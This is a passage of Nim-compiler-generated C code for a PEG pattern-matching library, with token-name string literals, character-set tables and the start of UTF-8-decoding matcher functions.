STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_32, "invalid", 7);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_33, ".", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_34, "_", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_35, "identifier", 10);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_36, "string literal", 14);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_37, "character set", 13);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_38, "(", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_39, ")", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_40, "{", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_41, "}", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_42, "/", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_43, "*", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_44, "+", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_45, "&", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_46, "!", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_47, "\?", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_48, "@", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_49, "built-in", 8);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_50, "escaped", 7);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_51, "$", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_52, "^", 1);
N_LIB_PRIVATE NIM_CONST tyArray__9bfXgNlAdUyWPxicWlc3FWA tokKindToStr__fTB9aWRDboDH2Gq75cAF9cKQ = {((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_32),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_19),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_33),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_34),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_35),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_36),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_37),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_38),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_39),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_40),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_41),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_20),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_25),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_42),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_43),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_44),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_45),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_46),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_47),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_48),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_49),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_50),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_51),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_51),
((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_52)}
;
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_53, " expected", 9);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_54, "n", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_55, "d", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_56, "D", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_57, "s", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_58, "S", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_59, "w", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_60, "W", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_61, "a", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_62, "A", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_63, "ident", 5);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_64, "letter", 6);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_65, "upper", 5);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_66, "lower", 5);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_67, "title", 5);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_68, "white", 5);
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_69 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x03,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_70 = {
0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0xfc,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_71 = {
0x00, 0x3e, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_72 = {
0xfe, 0xc1, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_73 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x03,
0xfe, 0xff, 0xff, 0x87, 0xfe, 0xff, 0xff, 0x07,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_74 = {
0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0xfc,
0x01, 0x00, 0x00, 0x78, 0x01, 0x00, 0x00, 0xf8,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_75 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfe, 0xff, 0xff, 0x07, 0xfe, 0xff, 0xff, 0x07,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_76 = {
0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x01, 0x00, 0x00, 0xf8, 0x01, 0x00, 0x00, 0xf8,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_77 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfe, 0xff, 0xff, 0x87, 0xfe, 0xff, 0xff, 0x07,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_78 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x03,
0xfe, 0xff, 0xff, 0x87, 0xfe, 0xff, 0xff, 0x07,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_79, "unknown built-in: ", 18);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_80, "invalid back reference index: ", 30);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_81, "attempt to redefine: ", 21);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_82, "rule expected, but found: ", 26);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_83, "EOF expected, but found: ", 25);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_84, "undeclared identifier: ", 23);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_85, "unused rule: ", 13);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_86, "pattern", 7);
/* section: NIM_merge_VARS */
extern NIM_THREADVAR NIM_BOOL nimInErrorMode__759bT87luu8XGcbkw13FUjA;
/* section: NIM_merge_PROCS */
static N_INLINE(void, nimSetMem__zxfKBYntu9cBapkhrCOk1fgmemory)(void* a, int v, NI size) {
void* T1_;
T1_ = (void*)0;
T1_ = memset(a, v, ((size_t) (size)));
}
static N_INLINE(NIM_BOOL*, nimErrorFlag)(void) {
NIM_BOOL* result;
result = (NIM_BOOL*)0;
result = (&nimInErrorMode__759bT87luu8XGcbkw13FUjA);
return result;
}
static N_INLINE(void, nimZeroMem)(void* p, NI size) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
nimSetMem__zxfKBYntu9cBapkhrCOk1fgmemory(p, ((int) 0), size);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(NI, matchBackRef__HsNdIDFjzA9cQdbHEL6NSBg_2)(NimStringDesc* sX60gensym26_, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pX60gensym26_, NI startX60gensym26_, tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ* cX60gensym26_) {
NI result;
NI aX60gensym26_;
NI bX60gensym26_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ nX60gensym26_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NI)0;
{
if (!((*cX60gensym26_).ml <= ((NI) (pX60gensym26_.index)))) goto LA3_;
result = ((NI) -1);
goto BeforeRet_;
}
LA3_: ;
aX60gensym26_ = (*cX60gensym26_).matches[(pX60gensym26_.index)- 0].Field0;
bX60gensym26_ = (*cX60gensym26_).matches[(pX60gensym26_.index)- 0].Field1;
nimZeroMem((void*)(&nX60gensym26_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
switch (pX60gensym26_.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25):
{
nimZeroMem((void*)(&nX60gensym26_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nX60gensym26_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9);
nX60gensym26_.term = substr__2yh9cer0ymNRHlOOg8P7IuA(sX60gensym26_, aX60gensym26_, bX60gensym26_);
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
{
nimZeroMem((void*)(&nX60gensym26_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nX60gensym26_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11);
nX60gensym26_.term = substr__2yh9cer0ymNRHlOOg8P7IuA(sX60gensym26_, aX60gensym26_, bX60gensym26_);
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 26):
{
nimZeroMem((void*)(&nX60gensym26_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nX60gensym26_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10);
nX60gensym26_.term = substr__2yh9cer0ymNRHlOOg8P7IuA(sX60gensym26_, aX60gensym26_, bX60gensym26_);
}
break;
default:
{
}
break;
}
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, nX60gensym26_, startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(NI, matchIt__HsNdIDFjzA9cQdbHEL6NSBg)(NimStringDesc* sX60gensym26_, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pX60gensym26_, NI startX60gensym26_, tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ* cX60gensym26_) {
NI result;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NI)0;
switch (pX60gensym26_.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0):
{
result = ((NI) 0);
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 1):
{
{
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA5_;
result = ((NI) 1);
}
goto LA3_;
LA5_: ;
{
result = ((NI) -1);
}
LA3_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 2):
{
{
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA11_;
result = runeLenAt__WMpE2MYPWM1HlcK1wXx02Q(sX60gensym26_, ((NI) (startX60gensym26_)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA9_;
LA11_: ;
{
result = ((NI) -1);
}
LA9_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 4):
{
{
NI32 aX60gensym26_;
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA17_;
aX60gensym26_ = (NI32)0;
result = startX60gensym26_;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA21_;
aX60gensym26_ = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA19_;
LA21_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA24_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA28_;
aX60gensym26_ = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA26_;
LA28_: ;
{
aX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA26_: ;
}
goto LA19_;
LA24_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA32_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA36_;
aX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA34_;
LA36_: ;
{
aX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA34_: ;
}
goto LA19_;
LA32_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA40_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA44_;
aX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA42_;
LA44_: ;
{
aX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA42_: ;
}
goto LA19_;
LA40_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA48_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA52_;
aX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA50_;
LA52_: ;
{
aX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA50_: ;
}
goto LA19_;
LA48_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA56_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA60_;
aX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA58_;
LA60_: ;
{
aX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA58_: ;
}
goto LA19_;
LA56_: ;
{
aX60gensym26_ = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA19_: ;
{
NIM_BOOL T66_;
T66_ = (NIM_BOOL)0;
T66_ = nucisAlpha(aX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!T66_) goto LA67_;
result -= startX60gensym26_;
}
goto LA64_;
LA67_: ;
{
result = ((NI) -1);
}
LA64_: ;
}
goto LA15_;
LA17_: ;
{
result = ((NI) -1);
}
LA15_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 5):
{
{
NI32 aX60gensym26__2;
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA74_;
aX60gensym26__2 = (NI32)0;
result = startX60gensym26_;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA78_;
aX60gensym26__2 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA76_;
LA78_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA81_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA85_;
aX60gensym26__2 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA83_;
LA85_: ;
{
aX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA83_: ;
}
goto LA76_;
LA81_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA89_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA93_;
aX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA91_;
LA93_: ;
{
aX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA91_: ;
}
goto LA76_;
LA89_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA97_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA101_;
aX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA99_;
LA101_: ;
{
aX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA99_: ;
}
goto LA76_;
LA97_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA105_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA109_;
aX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA107_;
LA109_: ;
{
aX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA107_: ;
}
goto LA76_;
LA105_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA113_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA117_;
aX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA115_;
LA117_: ;
{
aX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA115_: ;
}
goto LA76_;
LA113_: ;
{
aX60gensym26__2 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA76_: ;
{
NIM_BOOL T123_;
T123_ = (NIM_BOOL)0;
T123_ = nucisLower(aX60gensym26__2);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!T123_) goto LA124_;
result -= startX60gensym26_;
}
goto LA121_;
LA124_: ;
{
result = ((NI) -1);
}
LA121_: ;
}
goto LA72_;
LA74_: ;
{
result = ((NI) -1);
}
LA72_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 6):
{
{
NI32 aX60gensym26__3;
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA131_;
aX60gensym26__3 = (NI32)0;
result = startX60gensym26_;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA135_;
aX60gensym26__3 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA133_;
LA135_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA138_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA142_;
aX60gensym26__3 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA140_;
LA142_: ;
{
aX60gensym26__3 = ((NI32) 65533);
result += ((NI) 1);
}
LA140_: ;
}
goto LA133_;
LA138_: ;
{
